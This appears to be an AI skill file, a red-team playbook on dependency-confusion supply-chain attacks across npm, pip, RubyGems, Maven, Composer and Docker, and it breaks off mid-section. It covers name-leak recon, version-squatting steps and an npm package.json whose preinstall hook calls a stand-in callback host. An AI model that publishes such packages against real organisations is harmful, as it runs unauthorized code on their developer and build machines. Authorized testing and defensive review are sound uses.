/dependency-confusion

name: dependency-confusion
description: >-
  Supply-chain testing via package-manager dependency confusion: when internal package names resolve to attacker-controlled public registries, leading to malicious install and script execution. Use for npm/pip/gem/Maven/Composer/Docker manifest review and authorized red-team supply-chain exercises.

SKILL: Dependency Confusion — Supply Chain Attack Playbook

> **AI LOAD INSTRUCTION**: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. **Only use on systems and programs you are authorized to test.**

0. QUICK START

**What to look for first**

• **Manifests** listing package names that look **internal** (short unscoped names, org-specific tokens, product codenames) without a **hard-private registry lock**.
• Evidence the **same name** might exist—or be **squattable**—on a **public** registry with a **higher semver** than the private feed publishes.
• **Lockfiles** missing, stale, or not enforced in CI so `install`/`build` can drift toward public metadata.

**Fast mental model**: *If the resolver can see both private and public indexes, and version ranges allow it, the “newest” matching version may be the attacker’s.*

Routing note: if the task comes from supply-chain, repository exposure, or CI-build recon, first use `recon-for-sec` to list internal package names and possible public-registry collisions.

---

1. CORE CONCEPT

1. **Private packages**: An organization ships libraries only on an internal registry (or under conventions that imply “ours”), e.g. a scoped name like `@org-scope/internal-utils` or an **unscoped** name such as `acme-billing-sdk`. 2. **Attacker squats the name**: The same package name is published on a **public** registry (npmjs, PyPI, RubyGems, etc.). 3. **Resolver preference**: Many setups resolve **highest matching version** across **all configured indexes** (or merge metadata), so a public `9.9.9` can beat a private `1.2.3` if ranges allow. 4. **Execution**: Package managers run **lifecycle scripts** (npm `preinstall`/`postinstall`, setuptools entry points, etc.) → **attacker code runs** on developer laptops, CI, or production image builds.

This is a **supply-chain** class issue: impact is often **broad** (many consumers) and **silent** until build or runtime hooks fire.

---

2. AFFECTED ECOSYSTEMS

| Ecosystem | Typical manifest | Confusion angle | |-----------|------------------|-----------------| | **npm** | `package.json` | **Scoped** packages (`@scope/pkg`) are **safer** when the scope is **owned** on the registry; **unscoped** private-style names are **high risk**. Multiple registries / `.npmrc` `registry` vs per-scope `@scope:registry=` misconfiguration increases risk. | | **pip** | `requirements.txt`, `pyproject.toml`, `setup.py` | `pip install -i` / **`--extra-index-url`** merges indexes; a public index can serve a **higher version** for the same distribution name. | | **RubyGems** | `Gemfile` | **`source`** order and additional sources; ambiguous gem names reachable from rubygems.org. | | **Maven** | `pom.xml` | **Repository** declaration **order** and **mirror** settings; a public repo publishing the same `groupId:artifactId` under a higher version can win if policy allows. | | **Composer** | `composer.json` | **Packagist** is default; private packages without **`repositories`**/`canonical` discipline may collide with public names. | | **Docker** | `FROM`, image tags | **Typosquatting** on container registries (e.g. public hub) for images with names similar to internal base images. |

---

3. RECONNAISSANCE

**Where internal names leak**

• Committed **`package.json`**, **`requirements.txt`**, **`Gemfile`**, **`pom.xml`**, **`composer.json`** in repos or forks.
• **JavaScript source maps**, bundled assets, or **error stack traces** referencing package paths.
• **`.npmrc`**, **`.pypirc`**, **CI logs** showing install URLs or mirror endpoints.
• **Issue trackers**, **gist snippets**, and **dependency graphs** from SBOM exports.

**Check public squatting / claimability (read-only)**

# npm — metadata for a name (unscoped)
npm view some-internal-package-name version

# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json

# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'

# RubyGems — query remote
gem search '^some-internal-package-name$' --remote

# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"

Routing note: after package-name enumeration, consider PoC only in authorized environments; public registry lookups themselves are usually passive recon.

---

4. EXPLOITATION

**Authorized testing pattern**

1. **Register** (or use a controlled namespace) the **same package name** on the public registry your target resolver can reach. 2. Publish a **higher semver** than the legitimate internal line **within the victim’s declared range** (e.g. `^1.0.0` → publish `9.9.9`). 3. Add **lifecycle hooks** that prove execution without harming hosts—prefer **DNS/HTTP callback** to a collaborator you control, **no destructive writes**.

**npm `package.json` — minimal callback-style PoC (illustrative)**

{
  "name": "some-internal-package-name",
  "version": "9.9.9",
  "description": "authorized dependency-confusion PoC only",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
  }
}

**npm `package.json` — shell + curl fal